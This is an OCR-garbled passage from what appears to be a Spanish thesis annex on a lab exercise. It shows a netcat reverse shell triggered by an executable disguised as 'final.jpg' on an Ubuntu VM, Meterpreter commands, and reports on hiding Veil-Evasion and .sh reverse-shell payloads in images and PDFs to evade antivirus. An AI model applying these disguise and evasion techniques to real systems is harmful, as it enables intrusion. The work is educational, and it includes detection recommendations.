Hardware MAC : 00:00:00:00:00:00

MTU

IPv4 Address

IPv4 Netmask

IPv6 Address

IPv6 Netmask : ffff:ffff:ffff:ffff:ffffiffffiffffiffff

: Intel(R) PRO/1000 MT Desktop Adapter
Hardware MAC : 0 27:0e:ff:71
MTU : 1500
IPv4 Address : 192.168.100.28
IPv4 Netmask
IPv6 Address
IPv6 Netmas

Imagen 123: Informacion de red mediante config de la maquina victima

67. Con el comando “Screenshot” se logra capturar pantalla desde la maquina victima y ser
almacenada en la maquina atacante.

Archivo Maquina Ver Entrada Dispositivos Ayuda
B omPOHFEl-|1 2 3 4|m O D a fuo|a e
root@kali: /home/kali
File Actions Edit View Help i Edit View Go Help
Command Description

hashdump Dumps the contents of the SAM datab
: Timestomp Commands

Command Description
timestomp Manipulate file MACE at
For more info on a specific command, use

meterpreter >
meterpreter >
met, >
meterpreter >
meterpreter >
meterpreter >
meterpreter >

meterpreter >

meterpreter
meterpreter

meterpreter >
meterpreter

reenshot
Screenshot s to: /home/kali/pkfHEXqt.jpeg

>
>
>
al
r >
>
>
>

meternreter

Imagen 124: Captura de movimiento de la maquina victima con el comando screenshot
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Escenario #2: Imagen malicioso elevando privilegio a maquina Ubuntu de Linux
Objetivo: Elevar privilegio de S.O y crear un fichero txt como prueba de intrusion

Tiempo: 30 minutos

68. A través de la maquina atacante se crea un servidor virtual en python con el siguiente
comando “python3 —m http.server 80” para poder descargar la imagen mailicioso para la
victima.

=
Archivo  Maguina Ver Entrada Dispositivos Ayuda

¥ . m SF1-|1 2 3 4|F oHaf

] root@kali: fhome/kali

File Actions Edit View Help

/home/kali

ing HTTP on ©.0.0.@ port 80 (http://0.0.0.0:80/) ...

Imagen 125: Creacion de servidor Python

69. En la maquina ubuntu (victima) se busca el archivo a descargar que este caso es “final.jpg”.

® Navegador web Firefox
Directory listing for / x | +

¢} O R 192.168.100.29
» .vboxc: -display-svga-x11-tty7-service.pid
« .vboxclient-draganddrop-tty7-control.pid
« .vboxclient-draganddrop-tty7-service.pid
« .vboxclient-hostversion-tty7-control.pid
« .vboxclient-seamless-tty7-control.pid
« .vboxclient- tty7-service.pid
« .vboxclient-vmsvga-session-tty7-control.pid

on-erTors
« xsession-errors.old
« zprofile
« .zsh_history
« zshre
« carro_embed.png
* carro_prueba.exe
+ deepStego/
« Desktop/
« Documents/
« Downloads/
« final.jpg
« Music/

yload.exe

« pkfHEXqt.jpeg
« powerglot/

* pruebajpg

« prueba.sh

« prueba.txt

« prueba final.jpg

o prueba_veil.exe
 Prueba Veil.sfx.exe
« Public/

« Templates/

« Videos/

Imagen 126: Acceso al servidor de la maquina atacante — Ubuntu
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70. Se guarda la imagen a descargar con el mismo nombre por defecto en el directorio
“Descargas”.

vo Méquina Ver Entrads Dispositiv

Cancelar Nombre Ffinaljpg

(3} Carpeta personal < f{iiprueba  Descargas

0 Descargas
[® Documentos
& Imagenes
11 Misica

B Videos

+ Otras ubicaciones

imagen JPEG -

Imagen 127: Descarga del archivo imagen

71. A través del comando “chmod +x final.jpg” se realiza la activacion de persmisos como
“lectura, escritura y ejecuccion”.

& Terminal
root@prueba-VirtualBox: /home/prueba/Descargas

t@prue rtuale: /prueba/Descargas# ls
root@prueba-VirtualBox: /home/prueba/Descargas# s

rtuals /P
rtualBox: /home/prueba/Descar

B root@prueba-vi ome/prueba/Descargas#

Carpeta personal

Imagen 128: Ejecucion de permito de lectura, escritura y ejecutar
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72. En la maquina a traves de netcat con el comando “nc —lvnp 4444 se espera la conexion
inversa.

Archivo Méquina Ver Entrada Dispositivos Ayuda
B omPor| 2 3 4| O 9 a B o«

root@kali: fhome/kali

File Actions Edit View Help

/home/kali

g on [any] 44bh ...

Imagen 129: Comando para alzar netcat para escuchar el reverse

73. Con el comando “./final.jpg” se procede a ejecutar la imagen y presenta un mensaje como de
error, pero en la maquina atacante sin duda alguna se procedio a la conexion inversa.

root@prueba-VirtualBox: /home/prueba/Descargas

ueba/Descargas# ./final.jpg
./final.jpg: linea 1: 77\330\377\346\001#IFIF\001\001\001\001\001H\001H\001\601\r': orden no encontrada
./final.jpg: linea 10: $'\0 01\061\001\001\001\601\061\001\001\001\6 ) 001\001\601\001001\001\0601\601\601\001\601\001\60
@ 11001\601\001\001\661\001\001\601\001\001\601\001\001\881\001,001\601\001\ 001\001\001\001\001\001\001)601\001\377\376\Ecnp3 .
9.

orden no encontrada
ico cerca del elemento inesperado '$'\085\024\256%\005E1\005\006' '
(e000useeQ*oe’
cargas#

Imagen 130: Ejecucion de la imagen descargada
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74. En la maquina atacante se procede la conexion de forma exitosa y se puede observar en que
ruta se encuentra, y claro esta que en “Descargas”.

Archivo Maquina Ver Entrada Dispositivos Ayuda
S omPO-]|1 2 3 4 oO® afBon lac

root@prueba-VirtualBox: fhome/prueba/Descargas

File Actions Edit View Help

/home/kali

listening on [any] 4444

connect to [192.168.100.29] from (UNKNOWN) [192.168.100.31] 40890

bash: initialize_job_control: no hay control de trabajos en segundo plano: Descriptor de archivo erréneo
VirtualBox:/home/prueba/Des: Y |

Imagen 131: Conexion del reverse exitosa

75. Con el comando hostnamectl se observa de manera detallada la informacion de la maquina
victima.

Archivo Maquina Ver Entrada Dispositivos Ayuda
prlv|1 2 3

root@prueba-VirtualBox: fhome/prueba/Descargas
File Actions Edit View Help
/home/kali
listening on [any] 4444 ..
connect to [192.168.100.29] from (UNKNOWN) [192.168.100.31] 40890
bash: initialize_job_control: no hay control de trabajos en segundo plano: Descriptor de archivo erréneo

rootaprueb r Descargas# whoami
whoami

s# mkdir HACKEADO
VirtualBox:/home/prueba/Descargas# DIR

: orden no encontrada

Jprueba-VirtualBox:/home/prueba/Descargas# dir

final.jpg HACKEADO
root@prueba-VirtualBox:/home/prueba/Descargas# hostnamectl
hostnamectl
Static hostname: prueba-VirtualBox
Icon name: comput m
vm
Machine ID: dé6fe6e4d@alB84ea2a77fd747f7025cf2
Boot ID: 1c5e963b85364d38bba73b6e8750f6a3
Virtualization: oracle
Operating Syst Ubuntu 22.04.4 LTS
Kerr Linux 6.
ectur 64

Imagen 132: Informacion detallada de la M. Victima — Privilegios
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Escenario #3: Intercambio encubierto de llaves o contrasefias mediante esteganografia

Objetivo: Ocultar y transferir de forma cubierta una contrasefia mediante esteganografia en una
imagen, evitando su deteccion de terceros.

Tiempo: 25 minutos

76. Ocultar contrasefia, se utilizara la herramienta Silenteyes para ocultar la contrasefa. Al abrir
la herramienta se busca la imagen a utilizar.

& OpenMedia X

Looki: [ & C:\sersrueba Hock Jo0oo I@EE

W My Computer | 3D Objects
~ 83 Contacts
R PrucbeHeck | Desktop

4 Documents
& Downloads
- Favorites

Links

Music
@ OneDrive
&) Pictures
#P Saved Games
£ Searches

B Videos

Fie name: ||

Fles of type: [Media Fles (*.png *jpg Jpeg *bmp *.tff *.f *.wav)

i peTTYy
=

Imagen 133: Ocultar contrasefia en una imagen

77. Se selecciona la imagen OIP.jpg para emplear esteganografia.

& Open Media

tookin: [ C-sersPrusbs_redkPrcares

W My Computer ||| Camerz Roll
Saved Pictures
Q Prueba Hack AR

Fiename:  [oPjpg

Fies of type: [Meda Fies (~.p0g ~.ig Jpeg ~-bmp =.5ff ~F ~.wav)

Imagen 134: Seleccionar la imagen
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78. Al observar la imagen, es una imagen sobre un perrito

Imagen 135: imagen intacta para ocultar contrasefia

79. Se inserta un mensaje de formato bandera “tjctf{la_clave esta oculta}” en message y una
vez todo listo, se da encode para guardar en el directorio “Prueba hack”

? X

Media's encoding format : [JPEG ~| %
Options

Luminance interval (k) '}

PEG quality [80%

Header position [bottom

Passphrase [

Destination : [C:/Users/Prueba_Hack/
7 use this location as default
Write a message or select a file to hide.
Yctifla_clave_esta_oculta

o file selected
Q. ramove file

Charset: [UTFe v| @ [ Enable encryption ¥ Compress data © Cancel | O Encode

Q

< -
g Property - Encode

Ll O Buscar £

Imagen 136: Insertar mensaje oculto de la contrasefia
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80. Luego de realizar todos los pasos, se crea una imagen con lo establecido en el directorio de

almacenamiento,
A= Administrat Prueba_Hack - 8 X
Inidio  Compartic  Vista  Herramientas de imagen [2]
« © & | Esteequipo » Discolocal (C:) » Usuarios > Prueba Hack v o Buscar en Prucha_H
Nombre Fecha de m Tamaro
# Acceso ripido
Busqued
B Escitorio i GO
3 Contactos
& Descargas 3 escargas
& Documentos  # [ Documentos
& Imigenes 4 [ Escritorio
D Misica ¢ Favoritos
B Videos & Imégenes
#P Juegos guardados
@ OneDrve D Masica
[ Este equipo B Objetos 30
3 o @ Onedrive
B videos
) Documentos
# Vinculos
[ Escritorio = op o8
& Imagenes
D Musica
9 Objetos 30
B Videos
L Discolocal (C)
@ Red

14 elementos 1 elemento seleccionado 856 KB

Imagen 137: Mensaje oculto en la imagen

81. Para extraer el mensaje que contiene o un archivo, se da clic en decode y se inserta la clave
establecida al principio con los parametros iniciales y se obser que recupera el mensaje de la
foto.

8 Decode message: C/Users/Pruebe_Hack//OIPjpg T X

Media's encoding format : [JPEG < %
Options

Luminance interval () — )+ ' ' ' ' [ o

Header position [bottom

ticflia_clave_osta_oculta)

Q

-
perty - Encode

Charset: [UTFe ] @ [ Encrypted data W Compressed data @ Cancel | [ @ Decode
-

Imagen 138: Extraccion del mensaje de la imagen
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ANEXO #3
FASE REPORTE
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REPORTE #1: EVALUACION DE PAYLOADS CON ESTEGANOGRAFIA -

TECNICA LSB
DATO PER A
TITULO DEL EXPERIMENTO | Analisis de Payloads con esteganografia con LSB en imagen
REALIZADO POR Martinez Matamoros Andrea Nayeli
NO. PRUEBA 1
TIPO DE PRUEBA Analisis y deteccion de payload oculto con LSB en imagen
DETALLES EXPERIMENTALES
OBJETIVO DEL | Evaluar la efectividad de la técnica LSB en imagen para ocultar payloads
EXPERIMENTO para evadir mecanismos de seguridad y herramientas de analisis.
FASE Intervencion — Deteccion y Comparacion
NIVEL DE COMPLEJIDAD Media
TIEMPO DE EJECUCCION 30 minutos

TECNICA DE HACKING

Esteganografia con LSB en imagen aplicada a payloads.

HERRAMIENTAS APLICADAS

Virustotal, Hybird Analysis.

SISTEMA INVOLUCRADOS

Windows

PROCEDIMIENTOS

Se procede a crear el payload malicioso a través de Kali Linux con la herramienta Veil-Evasion

e Se configura el tipo de payload malicioso referente a una conexion reverse para S.O Windows

e Se selecciona el archivo en donde se va ocultar el payload (Imgen JPG).

e Se procede a usar la herramienta StegHide para emplear el ocultamiento del Payload dentro de la imagen.

e Serealiza la configuracion adecuada para luego emplear el ocultamiento de Payload usando la técnica de

LSB.

e  Analizar el payload con herramientas de antivirus.

e  Proporcionar la validacion visual y técnica de la ocultacion.

RESULTADOS
[INDICADOR SIN ESTEGANOGRAF{A ESTEGANOGRAFIA LSB
Tasa de deteccion de antivirus VirusTotal 48% 0 %
Hybrid Analysis 67% 0%
Deteccion de manera dinamica | Hybrid Analysis 70 % 10 %
RECOMENDACIONES
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informatica.

dinamico).

e Desarrollar y utilizar herramientas especificas para deteccion de esteganografia en entornos de seguridad

e Implementar analisis de comportamiento en entornos de sandbox para detectar payloads aunque estén ocultos.
o Capacitar a los analistas en técnicas de esteganografia y evasion para mejorar las estrategias de defensa.

e Mantener actualizado el software antivirus y combinar multiples capas de defensa (heuristica, firmas, analisis

Tabla 8: Evaluacion de Payloads con esteganografia — Técnica LSB

REPORTE #2: EVALUACION DE PAYLOADS CON ESTEGANOGRAFIA -

TECNICA DCT

DATOS EXPERIMENTALES

TITULO DEL EXPERIMENTO

Analisis de Payloads con esteganografia con DCT en imagen

REALIZADO POR

Martinez Matamoros Andrea Nayeli

NO. PRUEBA

2

TIPO DE PRUEBA

Analisis y deteccion de payload oculto con DCT en imagen

DETALLES EXPERIMENTALES

OBJETIVO DEL EXPERIMENTO

Evaluar la efectividad de la técnica DCT en imagen para ocultar

payloads para evadir mecanismos de seguridad y herramientas de

analisis.
FASE Intervencion — Deteccion y Comparacion
NIVEL DE COMPLEJIDAD Media
TIEMPO DE EJECUCCION 30 minutos

TECNICA DE HACKING

Esteganografia con DCT en imagen aplicada a payloads.

HERRAMIENTAS APLICADAS

Virustotal, Hybird Analysis.

SISTEMA INVOLUCRADOS

Windows

PROCEDIMIENTOS

LSB.

e Seprocede a crear el payloads malicioso a traves de Kali Linux con la herramienta Veil-Evasion.
e Serealiza la configuracion adecuada para luego emplear el ocultamiento de Payload usando la técnica de

e Analizar el payload con herramientas de antivirus.
e  Proporcionar la validacion visual y técnica de la ocultacién.

RESULTADOS
[INDICADOR SIN ESTEGANOGRAFIA ESTEGANOGRAFIA LSB
Tasa de deteccion de | VirusTotal 28% 0 %
antivirus Hybrid Analysis 67% 0%
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dinamica

Deteccion de manera | Hybrid Analysis 80 % 10 %

RECOMENDACIONES

informatica.

dinadmico).

o Desarrollar y utilizar herramientas especificas para deteccion de esteganografia en entornos de seguridad

e Implementar andlisis de comportamiento en entornos de sandbox para detectar payloads aunque estén ocultos.
o Capacitar a los analistas en técnicas de esteganografia y evasion para mejorar las estrategias de defensa.

e Mantener actualizado el software antivirus y combinar multiples capas de defensa (heuristica, firmas, analisis

Tabla 9: Evaluacion de Payloads con esteganografia — Técnica DCT

REPORTE #3: EVALUACION DE PAYLOADS CON ESTEGANOGRAFIA —

TECNICA OLE

TITULO DEL EXPERIMENTO

. A . D [ A

Analisis de Payloads con esteganografia con OLE en documento pdf

REALIZADO POR

Martinez Matamoros Andrea Nayeli

NO. PRUEBA

3

TIPO DE PRUEBA

Analisis y deteccion de payload oculto con OLE en documento pdf

DETALLES EXPERIMENTALES

OBJETIVO DEL EXPERIMENTO

Evaluar la efectividad de la técnica OLE en documento pdf para ocultar

payloads para evadir mecanimos de seguridad y herramientas de

analisis.
FASE Intervencion — Deteccion y Comparacion
NIVEL DE COMPLEJIDAD Media
TIEMPO DE EJECUCCION 40 minutos

TECNICA DE HACKING

Esteganografia con OLE en documentos pdf aplicada a payloads.

HERRAMIENTAS APLICADAS

Virustotal, Hybird Analysis.

SISTEMA INVOLUCRADOS

Linux

PROCEDIMIENTOS
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Se procede a crear el payloads malicioso de insercion de coédigo con intrusiones de conexion inversa como
extension .sh

Se procede a realizar la ‘rueba de conexion de la conexion inversa para comprobar su funcionalidad

Se desarrolla la ocultacion del archivo .sh dentro de un documento pdf a través de la herramienta
powerglot.

Se ejecuta el comando de configuracion adecuada para ocultar el payload malicioso usando técnica OLE
en el archivo pdf.

Analizar el payload con herramientas de antivirus Sanbbox

Proporcionar la validacion visual y técnica de la ocultacion.

RESULTADOS
[INDICADOR SIN ESTEGANOGRAF{A ESTEGANOGRAFIA LSB
Tasa de deteccion de | VirusTotal 0% 0%
antivirus Hybrid Analysis 0% 0%
Deteccion de manera | Hybrid Analysis 0% 0%
dindmica
RECOMENDACIONES

Realizar analisis en entornos controlados (sandbox) para observar el comportamiento de posibles
amenazas sin comprometer sistemas reales.

Desarrollar y aplicar herramientas especificas para detectar patrones de scripting malicioso, incluyendo
comandos de red, redirecciones y técnicas comunes de evasion.

Capacitar al personal en técnicas de ofuscacion y uso de scripts maliciosos para mejorar su capacidad de
deteccion y analisis.

Implementar monitoreo continuo del trafico de red saliente, con especial atencion a conexiones no
autorizadas hacia direcciones externas o puertos inusuales.

Establecer politicas restrictivas de ejecucion de scripts, limitando la ejecucion a archivos verificados y
controlando los permisos en rutas sensibles.

Mantener actualizadas todas las soluciones de seguridad y complementar los sistemas tradicionales con

analisis heuristico, de firmas y comportamiento.

Tabla 10: Evaluacién con técnica de esteganografia — Técnica OLE

120




